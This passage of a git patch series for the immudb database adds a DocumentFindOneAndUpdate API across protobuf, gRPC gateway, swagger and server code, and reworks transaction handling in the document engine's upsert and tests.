- 32, // 9: immudb.documentschema.DocumentAudit.document:type_name -> google.protobuf.Struct + 34, // 9: immudb.documentschema.DocumentAudit.document:type_name -> google.protobuf.Struct 1, // 10: immudb.documentschema.IndexOption.type:type_name -> immudb.documentschema.IndexType - 29, // 11: immudb.documentschema.CollectionCreateRequest.indexKeys:type_name -> immudb.documentschema.CollectionCreateRequest.IndexKeysEntry + 31, // 11: immudb.documentschema.CollectionCreateRequest.indexKeys:type_name -> immudb.documentschema.CollectionCreateRequest.IndexKeysEntry 18, // 12: immudb.documentschema.CollectionCreateResponse.collection:type_name -> immudb.documentschema.CollectionInformation - 30, // 13: immudb.documentschema.CollectionInformation.indexKeys:type_name -> immudb.documentschema.CollectionInformation.IndexKeysEntry + 32, // 13: immudb.documentschema.CollectionInformation.indexKeys:type_name -> immudb.documentschema.CollectionInformation.IndexKeysEntry 18, // 14: immudb.documentschema.CollectionGetResponse.collection:type_name -> immudb.documentschema.CollectionInformation 18, // 15: immudb.documentschema.CollectionListResponse.collections:type_name -> immudb.documentschema.CollectionInformation - 31, // 16: immudb.documentschema.CollectionUpdateRequest.addIndexes:type_name -> immudb.documentschema.CollectionUpdateRequest.AddIndexesEntry + 33, // 16: immudb.documentschema.CollectionUpdateRequest.addIndexes:type_name -> immudb.documentschema.CollectionUpdateRequest.AddIndexesEntry 18, // 17: immudb.documentschema.CollectionUpdateResponse.collection:type_name -> immudb.documentschema.CollectionInformation - 32, // 18: immudb.documentschema.DocumentInsertManyRequest.documents:type_name -> google.protobuf.Struct - 15, // 19: immudb.documentschema.CollectionCreateRequest.IndexKeysEntry.value:type_name -> immudb.documentschema.IndexOption - 15, // 20: immudb.documentschema.CollectionInformation.IndexKeysEntry.value:type_name -> immudb.documentschema.IndexOption - 15, // 21: immudb.documentschema.CollectionUpdateRequest.AddIndexesEntry.value:type_name -> immudb.documentschema.IndexOption - 2, // 22: immudb.documentschema.DocumentService.DocumentInsert:input_type -> immudb.documentschema.DocumentInsertRequest - 4, // 23: immudb.documentschema.DocumentService.DocumentUpdate:input_type -> immudb.documentschema.DocumentUpdateRequest - 8, // 24: immudb.documentschema.DocumentService.DocumentSearch:input_type -> immudb.documentschema.DocumentSearchRequest - 12, // 25: immudb.documentschema.DocumentService.DocumentAudit:input_type -> immudb.documentschema.DocumentAuditRequest - 10, // 26: immudb.documentschema.DocumentService.DocumentProof:input_type -> immudb.documentschema.DocumentProofRequest - 16, // 27: immudb.documentschema.DocumentService.CollectionCreate:input_type -> immudb.documentschema.CollectionCreateRequest - 20, // 28: immudb.documentschema.DocumentService.CollectionGet:input_type -> immudb.documentschema.CollectionGetRequest - 21, // 29: immudb.documentschema.DocumentService.CollectionList:input_type -> immudb.documentschema.CollectionListRequest - 23, // 30: immudb.documentschema.DocumentService.CollectionDelete:input_type -> immudb.documentschema.CollectionDeleteRequest - 25, // 31: immudb.documentschema.DocumentService.CollectionUpdate:input_type -> immudb.documentschema.CollectionUpdateRequest - 27, // 32: immudb.documentschema.DocumentService.DocumentInsertMany:input_type -> immudb.documentschema.DocumentInsertManyRequest - 3, // 33: immudb.documentschema.DocumentService.DocumentInsert:output_type -> immudb.documentschema.DocumentInsertResponse - 5, // 34: immudb.documentschema.DocumentService.DocumentUpdate:output_type -> immudb.documentschema.DocumentUpdateResponse - 9, // 35: immudb.documentschema.DocumentService.DocumentSearch:output_type -> immudb.documentschema.DocumentSearchResponse - 13, // 36: immudb.documentschema.DocumentService.DocumentAudit:output_type -> immudb.documentschema.DocumentAuditResponse - 11, // 37: immudb.documentschema.DocumentService.DocumentProof:output_type -> immudb.documentschema.DocumentProofResponse - 17, // 38: immudb.documentschema.DocumentService.CollectionCreate:output_type -> immudb.documentschema.CollectionCreateResponse - 19, // 39: immudb.documentschema.DocumentService.CollectionGet:output_type -> immudb.documentschema.CollectionGetResponse - 22, // 40: immudb.documentschema.DocumentService.CollectionList:output_type -> immudb.documentschema.CollectionListResponse - 24, // 41: immudb.documentschema.DocumentService.CollectionDelete:output_type -> immudb.documentschema.CollectionDeleteResponse - 26, // 42: immudb.documentschema.DocumentService.CollectionUpdate:output_type -> immudb.documentschema.CollectionUpdateResponse - 28, // 43: immudb.documentschema.DocumentService.DocumentInsertMany:output_type -> immudb.documentschema.DocumentInsertManyResponse - 33, // [33:44] is the sub-list for method output_type - 22, // [22:33] is the sub-list for method input_type - 22, // [22:22] is the sub-list for extension type_name - 22, // [22:22] is the sub-list for extension extendee - 0, // [0:22] is the sub-list for field type_name + 34, // 18: immudb.documentschema.DocumentInsertManyRequest.documents:type_name -> google.protobuf.Struct + 7, // 19: immudb.documentschema.DocumentFindOneAndUpdateRequest.query:type_name -> immudb.documentschema.DocumentQuery + 34, // 20: immudb.documentschema.DocumentFindOneAndUpdateRequest.document:type_name -> google.protobuf.Struct + 15, // 21: immudb.documentschema.CollectionCreateRequest.IndexKeysEntry.value:type_name -> immudb.documentschema.IndexOption + 15, // 22: immudb.documentschema.CollectionInformation.IndexKeysEntry.value:type_name -> immudb.documentschema.IndexOption + 15, // 23: immudb.documentschema.CollectionUpdateRequest.AddIndexesEntry.value:type_name -> immudb.documentschema.IndexOption + 2, // 24: immudb.documentschema.DocumentService.DocumentInsert:input_type -> immudb.documentschema.DocumentInsertRequest + 4, // 25: immudb.documentschema.DocumentService.DocumentUpdate:input_type -> immudb.documentschema.DocumentUpdateRequest + 8, // 26: immudb.documentschema.DocumentService.DocumentSearch:input_type -> immudb.documentschema.DocumentSearchRequest + 12, // 27: immudb.documentschema.DocumentService.DocumentAudit:input_type -> immudb.documentschema.DocumentAuditRequest + 10, // 28: immudb.documentschema.DocumentService.DocumentProof:input_type -> immudb.documentschema.DocumentProofRequest + 16, // 29: immudb.documentschema.DocumentService.CollectionCreate:input_type -> immudb.documentschema.CollectionCreateRequest + 20, // 30: immudb.documentschema.DocumentService.CollectionGet:input_type -> immudb.documentschema.CollectionGetRequest + 21, // 31: immudb.documentschema.DocumentService.CollectionList:input_type -> immudb.documentschema.CollectionListRequest + 23, // 32: immudb.documentschema.DocumentService.CollectionDelete:input_type -> immudb.documentschema.CollectionDeleteRequest + 25, // 33: immudb.documentschema.DocumentService.CollectionUpdate:input_type -> immudb.documentschema.CollectionUpdateRequest + 27, // 34: immudb.documentschema.DocumentService.DocumentInsertMany:input_type -> immudb.documentschema.DocumentInsertManyRequest + 29, // 35: immudb.documentschema.DocumentService.DocumentFindOneAndUpdate:input_type -> immudb.documentschema.DocumentFindOneAndUpdateRequest + 3, // 36: immudb.documentschema.DocumentService.DocumentInsert:output_type -> immudb.documentschema.DocumentInsertResponse + 5, // 37: immudb.documentschema.DocumentService.DocumentUpdate:output_type -> immudb.documentschema.DocumentUpdateResponse + 9, // 38: immudb.documentschema.DocumentService.DocumentSearch:output_type -> immudb.documentschema.DocumentSearchResponse + 13, // 39: immudb.documentschema.DocumentService.DocumentAudit:output_type -> immudb.documentschema.DocumentAuditResponse + 11, // 40: immudb.documentschema.DocumentService.DocumentProof:output_type -> immudb.documentschema.DocumentProofResponse + 17, // 41: immudb.documentschema.DocumentService.CollectionCreate:output_type -> immudb.documentschema.CollectionCreateResponse + 19, // 42: immudb.documentschema.DocumentService.CollectionGet:output_type -> immudb.documentschema.CollectionGetResponse + 22, // 43: immudb.documentschema.DocumentService.CollectionList:output_type -> immudb.documentschema.CollectionListResponse + 24, // 44: immudb.documentschema.DocumentService.CollectionDelete:output_type -> immudb.documentschema.CollectionDeleteResponse + 26, // 45: immudb.documentschema.DocumentService.CollectionUpdate:output_type -> immudb.documentschema.CollectionUpdateResponse + 28, // 46: immudb.documentschema.DocumentService.DocumentInsertMany:output_type -> immudb.documentschema.DocumentInsertManyResponse + 30, // 47: immudb.documentschema.DocumentService.DocumentFindOneAndUpdate:output_type -> immudb.documentschema.DocumentFindOneAndUpdateResponse + 36, // [36:48] is the sub-list for method output_type + 24, // [24:36] is the sub-list for method input_type + 24, // [24:24] is the sub-list for extension type_name + 24, // [24:24] is the sub-list for extension extendee + 0, // [0:24] is the sub-list for field type_name } func init() { file_documentschema_proto_init() } @@ -2470,6 +2624,30 @@ func file_documentschema_proto_init() { return nil } } + file_documentschema_proto_msgTypes[27].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*DocumentFindOneAndUpdateRequest); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_documentschema_proto_msgTypes[28].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*DocumentFindOneAndUpdateResponse); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } } file_documentschema_proto_msgTypes[4].OneofWrappers = []interface{}{ (*IndexValue_NullValue)(nil), @@ -2483,7 +2661,7 @@ func file_documentschema_proto_init() { GoPackagePath: reflect.TypeOf(x{}).PkgPath(), RawDescriptor: file_documentschema_proto_rawDesc, NumEnums: 2, - NumMessages: 30, + NumMessages: 32, NumExtensions: 0, NumServices: 1, }, diff --git a/pkg/api/documentschema/documentschema.pb.gw.go b/pkg/api/documentschema/documentschema.pb.gw.go index 4184aeeec1..2bc2e2db39 100644 --- a/pkg/api/documentschema/documentschema.pb.gw.go +++ b/pkg/api/documentschema/documentschema.pb.gw.go @@ -411,6 +411,40 @@ func local_request_DocumentService_DocumentInsertMany_0(ctx context.Context, mar } +func request_DocumentService_DocumentFindOneAndUpdate_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq DocumentFindOneAndUpdateRequest + var metadata runtime.ServerMetadata + + newReader, berr := utilities.IOReaderFactory(req.Body) + if berr != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) + } + if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + } + + msg, err := client.DocumentFindOneAndUpdate(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) + return msg, metadata, err + +} + +func local_request_DocumentService_DocumentFindOneAndUpdate_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq DocumentFindOneAndUpdateRequest + var metadata runtime.ServerMetadata + + newReader, berr := utilities.IOReaderFactory(req.Body) + if berr != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) + } + if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + } + + msg, err := server.DocumentFindOneAndUpdate(ctx, &protoReq) + return msg, metadata, err + +} + // RegisterDocumentServiceHandlerServer registers the http handlers for service DocumentService to "mux". // UnaryRPC :call DocumentServiceServer directly. // StreamingRPC :currently unsupported pending https://github.com/grpc/grpc-go/issues/906. @@ -670,6 +704,29 @@ func RegisterDocumentServiceHandlerServer(ctx context.Context, mux *runtime.Serv }) + mux.Handle("POST", pattern_DocumentService_DocumentFindOneAndUpdate_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + ctx, cancel := context.WithCancel(req.Context()) + defer cancel() + var stream runtime.ServerTransportStream + ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) + inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) + rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + resp, md, err := local_request_DocumentService_DocumentFindOneAndUpdate_0(rctx, inboundMarshaler, server, req, pathParams) + md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) + ctx = runtime.NewServerMetadataContext(ctx, md) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + + forward_DocumentService_DocumentFindOneAndUpdate_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + + }) + return nil } @@ -931,6 +988,26 @@ func RegisterDocumentServiceHandlerClient(ctx context.Context, mux *runtime.Serv }) + mux.Handle("POST", pattern_DocumentService_DocumentFindOneAndUpdate_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + ctx, cancel := context.WithCancel(req.Context()) + defer cancel() + inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) + rctx, err := runtime.AnnotateContext(ctx, mux, req) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + resp, md, err := request_DocumentService_DocumentFindOneAndUpdate_0(rctx, inboundMarshaler, client, req, pathParams) + ctx = runtime.NewServerMetadataContext(ctx, md) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + + forward_DocumentService_DocumentFindOneAndUpdate_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + + }) + return nil } @@ -956,6 +1033,8 @@ var ( pattern_DocumentService_CollectionUpdate_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"collections", "update"}, "", runtime.AssumeColonVerbOpt(true))) pattern_DocumentService_DocumentInsertMany_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"documents", "insertMany"}, "", runtime.AssumeColonVerbOpt(true))) + + pattern_DocumentService_DocumentFindOneAndUpdate_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"documents", "findOneAndUpdate"}, "", runtime.AssumeColonVerbOpt(true))) ) var ( @@ -980,4 +1059,6 @@ var ( forward_DocumentService_CollectionUpdate_0 = runtime.ForwardResponseMessage forward_DocumentService_DocumentInsertMany_0 = runtime.ForwardResponseMessage + + forward_DocumentService_DocumentFindOneAndUpdate_0 = runtime.ForwardResponseMessage ) diff --git a/pkg/api/documentschema/documentschema.proto b/pkg/api/documentschema/documentschema.proto index 64a94085c8..624bdb65a0 100644 --- a/pkg/api/documentschema/documentschema.proto +++ b/pkg/api/documentschema/documentschema.proto @@ -200,6 +200,16 @@ message DocumentInsertManyResponse { uint64 transactionId = 2; } +message DocumentFindOneAndUpdateRequest { + string collection = 1; + repeated DocumentQuery query = 2; + google.protobuf.Struct document = 3; +} + +message DocumentFindOneAndUpdateResponse { + uint64 transactionId = 1; + uint64 revision = 2; +} service DocumentService { rpc DocumentInsert(DocumentInsertRequest) returns (DocumentInsertResponse) { @@ -317,4 +327,17 @@ service DocumentService { tags: "documents"; }; } + + rpc DocumentFindOneAndUpdate(DocumentFindOneAndUpdateRequest) returns (DocumentFindOneAndUpdateResponse) { + option (google.api.http) = { + post: "/documents/findOneAndUpdate" + body: "*" + }; + option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { + tags: [ + "documents" + ]; + }; + } + } diff --git a/pkg/api/documentschema/documentschema.swagger.json b/pkg/api/documentschema/documentschema.swagger.json index ea26f43d85..5d6458054e 100644 --- a/pkg/api/documentschema/documentschema.swagger.json +++ b/pkg/api/documentschema/documentschema.swagger.json @@ -202,6 +202,38 @@ ] } }, + "/documents/findOneAndUpdate": { + "post": { + "operationId": "DocumentService_DocumentFindOneAndUpdate", + "responses": { + "200": { + "description": "A successful response.", + "schema": { + "$ref": "#/definitions/documentschemaDocumentFindOneAndUpdateResponse" + } + }, + "default": { + "description": "An unexpected error response.", + "schema": { + "$ref": "#/definitions/runtimeError" + } + } + }, + "parameters": [ + { + "name": "body", + "in": "body", + "required": true, + "schema": { + "$ref": "#/definitions/documentschemaDocumentFindOneAndUpdateRequest" + } + } + ], + "tags": [ + "documents" + ] + } + }, "/documents/insert": { "put": { "operationId": "DocumentService_DocumentInsert", @@ -500,6 +532,36 @@ } } }, + "documentschemaDocumentFindOneAndUpdateRequest": { + "type": "object", + "properties": { + "collection": { + "type": "string" + }, + "query": { + "type": "array", + "items": { + "$ref": "#/definitions/documentschemaDocumentQuery" + } + }, + "document": { + "type": "object" + } + } + }, + "documentschemaDocumentFindOneAndUpdateResponse": { + "type": "object", + "properties": { + "transactionId": { + "type": "string", + "format": "uint64" + }, + "revision": { + "type": "string", + "format": "uint64" + } + } + }, "documentschemaDocumentInsertManyRequest": { "type": "object", "properties": { diff --git a/pkg/api/documentschema/documentschema_grpc.pb.go b/pkg/api/documentschema/documentschema_grpc.pb.go index c326456b6d..ea94bc13f7 100644 --- a/pkg/api/documentschema/documentschema_grpc.pb.go +++ b/pkg/api/documentschema/documentschema_grpc.pb.go @@ -29,6 +29,7 @@ type DocumentServiceClient interface { CollectionDelete(ctx context.Context, in *CollectionDeleteRequest, opts ...grpc.CallOption) (*CollectionDeleteResponse, error) CollectionUpdate(ctx context.Context, in *CollectionUpdateRequest, opts ...grpc.CallOption) (*CollectionUpdateResponse, error) DocumentInsertMany(ctx context.Context, in *DocumentInsertManyRequest, opts ...grpc.CallOption) (*DocumentInsertManyResponse, error) + DocumentFindOneAndUpdate(ctx context.Context, in *DocumentFindOneAndUpdateRequest, opts ...grpc.CallOption) (*DocumentFindOneAndUpdateResponse, error) } type documentServiceClient struct { @@ -138,6 +139,15 @@ func (c *documentServiceClient) DocumentInsertMany(ctx context.Context, in *Docu return out, nil } +func (c *documentServiceClient) DocumentFindOneAndUpdate(ctx context.Context, in *DocumentFindOneAndUpdateRequest, opts ...grpc.CallOption) (*DocumentFindOneAndUpdateResponse, error) { + out := new(DocumentFindOneAndUpdateResponse) + err := c.cc.Invoke(ctx, "/immudb.documentschema.DocumentService/DocumentFindOneAndUpdate", in, out, opts...) + if err != nil { + return nil, err + } + return out, nil +} + // DocumentServiceServer is the server API for DocumentService service. // All implementations should embed UnimplementedDocumentServiceServer // for forward compatibility @@ -153,6 +163,7 @@ type DocumentServiceServer interface { CollectionDelete(context.Context, *CollectionDeleteRequest) (*CollectionDeleteResponse, error) CollectionUpdate(context.Context, *CollectionUpdateRequest) (*CollectionUpdateResponse, error) DocumentInsertMany(context.Context, *DocumentInsertManyRequest) (*DocumentInsertManyResponse, error) + DocumentFindOneAndUpdate(context.Context, *DocumentFindOneAndUpdateRequest) (*DocumentFindOneAndUpdateResponse, error) } // UnimplementedDocumentServiceServer should be embedded to have forward compatible implementations. @@ -192,6 +203,9 @@ func (UnimplementedDocumentServiceServer) CollectionUpdate(context.Context, *Col func (UnimplementedDocumentServiceServer) DocumentInsertMany(context.Context, *DocumentInsertManyRequest) (*DocumentInsertManyResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method DocumentInsertMany not implemented") } +func (UnimplementedDocumentServiceServer) DocumentFindOneAndUpdate(context.Context, *DocumentFindOneAndUpdateRequest) (*DocumentFindOneAndUpdateResponse, error) { + return nil, status.Errorf(codes.Unimplemented, "method DocumentFindOneAndUpdate not implemented") +} // UnsafeDocumentServiceServer may be embedded to opt out of forward compatibility for this service. // Use of this interface is not recommended, as added methods to DocumentServiceServer will @@ -402,6 +416,24 @@ func _DocumentService_DocumentInsertMany_Handler(srv interface{}, ctx context.Co return interceptor(ctx, in, info, handler) } +func _DocumentService_DocumentFindOneAndUpdate_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(DocumentFindOneAndUpdateRequest) + if err := dec(in); err != nil { + return nil, err + } + if interceptor == nil { + return srv.(DocumentServiceServer).DocumentFindOneAndUpdate(ctx, in) + } + info := &grpc.UnaryServerInfo{ + Server: srv, + FullMethod: "/immudb.documentschema.DocumentService/DocumentFindOneAndUpdate", + } + handler := func(ctx context.Context, req interface{}) (interface{}, error) { + return srv.(DocumentServiceServer).DocumentFindOneAndUpdate(ctx, req.(*DocumentFindOneAndUpdateRequest)) + } + return interceptor(ctx, in, info, handler) +} + // DocumentService_ServiceDesc is the grpc.ServiceDesc for DocumentService service. // It's only intended for direct use with grpc.RegisterService, // and not to be introspected or modified (even as a copy) @@ -453,6 +485,10 @@ var DocumentService_ServiceDesc = grpc.ServiceDesc{ MethodName: "DocumentInsertMany", Handler: _DocumentService_DocumentInsertMany_Handler, }, + { + MethodName: "DocumentFindOneAndUpdate", + Handler: _DocumentService_DocumentFindOneAndUpdate_Handler, + }, }, Streams: []grpc.StreamDesc{}, Metadata: "documentschema.proto", diff --git a/pkg/database/document_database.go b/pkg/database/document_database.go index 92f854a110..944e3fef0d 100644 --- a/pkg/database/document_database.go +++ b/pkg/database/document_database.go @@ -58,6 +58,8 @@ type DocumentDatabase interface { DocumentProof(ctx context.Context, req *schemav2.DocumentProofRequest) (*schemav2.DocumentProofResponse, error) // DocumentInsertMany creates a new document DocumentInsertMany(ctx context.Context, req *schemav2.DocumentInsertManyRequest) (*schemav2.DocumentInsertManyResponse, error) + // DocumentFindOneAndUpdate finds a document and updates it + DocumentFindOneAndUpdate(ctx context.Context, req *schemav2.DocumentFindOneAndUpdateRequest) (*schemav2.DocumentFindOneAndUpdateResponse, error) } // CreateCollection creates a new collection @@ -346,3 +348,24 @@ func (d *db) DocumentInsertMany(ctx context.Context, req *schemav2.DocumentInser TransactionId: txID, }, nil } + +func (d *db) DocumentFindOneAndUpdate(ctx context.Context, req *schemav2.DocumentFindOneAndUpdateRequest) (*schemav2.DocumentFindOneAndUpdateResponse, error) { + queries := make([]*document.Query, 0, len(req.Query)) + for _, q := range req.Query { + queries = append(queries, &document.Query{ + Operator: int(q.Operator), + Field: q.Field, + Value: q.Value, + }) + } + + txID, rev, err := d.documentEngine.FindOneAndUpdate(ctx, req.Collection, queries, req.Document) + if err != nil { + return nil, err + } + + return &schemav2.DocumentFindOneAndUpdateResponse{ + TransactionId: txID, + Revision: rev, + }, nil +} diff --git a/pkg/server/db_dummy_closed.go b/pkg/server/db_dummy_closed.go index bff5b0a391..169f10859d 100644 --- a/pkg/server/db_dummy_closed.go +++ b/pkg/server/db_dummy_closed.go @@ -292,3 +292,7 @@ func (d *closedDB) DocumentProof(ctx context.Context, req *schemav2.DocumentProo func (d *closedDB) DocumentInsertMany(ctx context.Context, req *schemav2.DocumentInsertManyRequest) (*schemav2.DocumentInsertManyResponse, error) { return nil, store.ErrAlreadyClosed } + +func (d *closedDB) DocumentFindOneAndUpdate(ctx context.Context, req *schemav2.DocumentFindOneAndUpdateRequest) (*schemav2.DocumentFindOneAndUpdateResponse, error) { + return nil, store.ErrAlreadyClosed +} diff --git a/pkg/server/documents_operations.go b/pkg/server/documents_operations.go index 7608a6110c..a7e5daf0ea 100644 --- a/pkg/server/documents_operations.go +++ b/pkg/server/documents_operations.go @@ -177,3 +177,16 @@ func (s *ImmuServer) DocumentInsertMany(ctx context.Context, req *documentschema } return resp, nil } + +func (s *ImmuServer) DocumentFindOneAndUpdate(ctx context.Context, req *documentschema.DocumentFindOneAndUpdateRequest) (*documentschema.DocumentFindOneAndUpdateResponse, error) { + db, err := s.getDBFromCtx(ctx, "DocumentFindOneAndUpdate") + if err != nil { + return nil, err + } + + resp, err := db.DocumentFindOneAndUpdate(ctx, req) + if err != nil { + return nil, err + } + return resp, nil +} From aea6d4463d3c5ca3721d74a77e7da8f05a3c6916 Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Thu, 27 Apr 2023 15:26:14 +0530 Subject: [PATCH 0451/1062] chore: pass transaction to upsert function --- embedded/document/engine.go | 61 +++++++++++++++++++++++--------- embedded/document/engine_test.go | 15 +++----- 2 files changed, 49 insertions(+), 27 deletions(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index 041d91b45a..91fa8df322 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -116,6 +116,25 @@ type IndexOption struct { IsUnique bool } +type upsertOption struct { + isInsert bool + tx *sql.SQLTx +} + +func (u *upsertOption) withTx(tx *sql.SQLTx) *upsertOption { + u.tx = tx + return u +} + +func (u *upsertOption) withIsInsert(isInsert bool) *upsertOption { + u.isInsert = isInsert + return u +} + +func newUpsertOption() *upsertOption { + return &upsertOption{} +} + func NewEngine(store *store.ImmuStore, opts *sql.Options) (*Engine, error) { engine, err := sql.NewEngine(store, opts) if err != nil { @@ -327,34 +346,41 @@ func (e *Engine) DeleteCollection(ctx context.Context, collectionName string) er } func (e *Engine) InsertDocument(ctx context.Context, collectionName string, doc *structpb.Struct) (docID DocumentID, txID uint64, err error) { - docID, txID, _, err = e.upsertDocument(ctx, collectionName, doc, true) + opt := newUpsertOption().withIsInsert(true) + docID, txID, _, err = e.upsertDocument(ctx, collectionName, doc, opt) return } func (e *Engine) UpdateDocument(ctx context.Context, collectionName string, doc *structpb.Struct) (txID, rev uint64, err error) { - _, txID, rev, err = e.upsertDocument(ctx, collectionName, doc, false) + opt := newUpsertOption().withIsInsert(false) + _, txID, rev, err = e.upsertDocument(ctx, collectionName, doc, opt) return } -func (e *Engine) upsertDocument(ctx context.Context, collectionName string, doc *structpb.Struct, isInsert bool) (docID DocumentID, txID, rev uint64, err error) { +func (e *Engine) upsertDocument(ctx context.Context, collectionName string, doc *structpb.Struct, opt *upsertOption) (docID DocumentID, txID, rev uint64, err error) { if doc == nil { return nil, 0, 0, ErrIllegalArguments } - docID, err = e.getDocumentID(doc, isInsert) + docID, err = e.getDocumentID(doc, opt.isInsert) if err != nil { return nil, 0, 0, err } - // concurrency validation are not needed when the document id is automatically generated - _, docIDProvisioned := doc.Fields[DocumentIDField] - opts := e.configureTxOptions(docIDProvisioned) + var tx *sql.SQLTx + if opt.tx == nil { + // concurrency validation are not needed when the document id is automatically generated + _, docIDProvisioned := doc.Fields[DocumentIDField] + opts := e.configureTxOptions(docIDProvisioned) - tx, err := e.sqlEngine.NewTx(ctx, opts) - if err != nil { - return nil, 0, 0, err + tx, err = e.sqlEngine.NewTx(ctx, opts) + if err != nil { + return nil, 0, 0, err + } + defer tx.Cancel() + } else { + tx = opt.tx } - defer tx.Cancel() table, err := tx.Catalog().GetTableByName(collectionName) if err != nil { @@ -385,7 +411,7 @@ func (e *Engine) upsertDocument(ctx context.Context, collectionName string, doc collectionName, cols, rows, - isInsert, + opt.isInsert, nil, ), }, @@ -397,7 +423,7 @@ func (e *Engine) upsertDocument(ctx context.Context, collectionName string, doc txID = ctxs[0].TxHeader().ID - if !isInsert { + if !opt.isInsert { searchKey, err := e.getKeyForDocument(ctx, tx, collectionName, docID) if err != nil { return nil, 0, 0, err @@ -873,7 +899,7 @@ func (e *Engine) FindOneAndUpdate(ctx context.Context, collectionName string, qu nil, ) - tx, err := e.sqlEngine.NewTx(ctx, sql.DefaultTxOptions().WithExplicitClose(true)) + tx, err := e.sqlEngine.NewTx(ctx, sql.DefaultTxOptions()) if err != nil { return 0, 0, err } @@ -883,7 +909,6 @@ func (e *Engine) FindOneAndUpdate(ctx context.Context, collectionName string, qu if err != nil { return 0, 0, err } - defer r.Close() var results []*structpb.Struct for { @@ -906,6 +931,9 @@ func (e *Engine) FindOneAndUpdate(ctx context.Context, collectionName string, qu results = append(results, doc) } + // close the active snapshot reader + r.Close() + if len(results) == 0 { return 0, 0, ErrDocumentNotFound } @@ -919,6 +947,7 @@ func (e *Engine) FindOneAndUpdate(ctx context.Context, collectionName string, qu mergeDocumentStructs(doc, docToUpdate) // update the document - _, txID, rev, err = e.upsertDocument(ctx, collectionName, doc, false) + opt := newUpsertOption().withIsInsert(false).withTx(tx) + _, txID, rev, err = e.upsertDocument(ctx, collectionName, doc, opt) return } diff --git a/embedded/document/engine_test.go b/embedded/document/engine_test.go index 84e894cfea..126e965e68 100644 --- a/embedded/document/engine_test.go +++ b/embedded/document/engine_test.go @@ -863,7 +863,7 @@ func TestFindOneAndUpdate(t *testing.T) { "age": {Kind: &structpb.Value_NumberValue{NumberValue: 30}}, }, } - docID, _, _, err := e.upsertDocument(ctx, collectionName, doc, true) + docID, _, _, err := e.upsertDocument(ctx, collectionName, doc, &upsertOption{isInsert: true}) if err != nil { t.Fatalf("Failed to insert test document: %v", err) } @@ -882,17 +882,10 @@ func TestFindOneAndUpdate(t *testing.T) { // Call the FindOneAndUpdate method txID, rev, err := e.FindOneAndUpdate(ctx, collectionName, queries, toUpdateDoc) - + require.NoError(t, err) // Check that the method returned the expected values - if err != nil { - t.Errorf("FindOneAndUpdate returned error: %v", err) - } - if txID == 0 { - t.Error("FindOneAndUpdate returned zero txID") - } - if rev == 0 { - t.Error("FindOneAndUpdate returned zero rev") - } + require.NotEqual(t, txID, 0) + require.NotEqual(t, rev, 0) // Verify that the document was updated updatedDocs, err := e.GetDocuments(ctx, collectionName, queries, 1, 1) From 35cf9454bf02e9ab3027a440e89cfdc5944efa57 Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Fri, 28 Apr 2023 11:20:30 +0530 Subject: [PATCH 0452/1062] chore: update document with id if not nil --- embedded/document/document.go | 7 --- embedded/document/document_test.go | 32 ---------- embedded/document/engine.go | 49 +++++++++------- embedded/document/engine_test.go | 94 ++++++++++++++++++++---------- 4 files changed, 91 insertions(+), 91 deletions(-) diff --git a/embedded/document/document.go b/embedded/document/document.go index d26c295051..c72acbfaf6 100644 --- a/embedded/document/document.go +++ b/embedded/document/document.go @@ -19,7 +19,6 @@ import ( "errors" "fmt" - "github.com/golang/protobuf/proto" "github.com/tidwall/gjson" "google.golang.org/protobuf/types/known/structpb" ) @@ -100,9 +99,3 @@ func (d *Document) Get(field string) interface{} { } return nil } - -// mergeDocumentStructs merges the given document struct with the given document struct to update -func mergeDocumentStructs(doc *structpb.Struct, toUpdateDoc *structpb.Struct) error { - proto.Merge(doc, toUpdateDoc) - return nil -} diff --git a/embedded/document/document_test.go b/embedded/document/document_test.go index 574c242bcf..2e4d1ed47b 100644 --- a/embedded/document/document_test.go +++ b/embedded/document/document_test.go 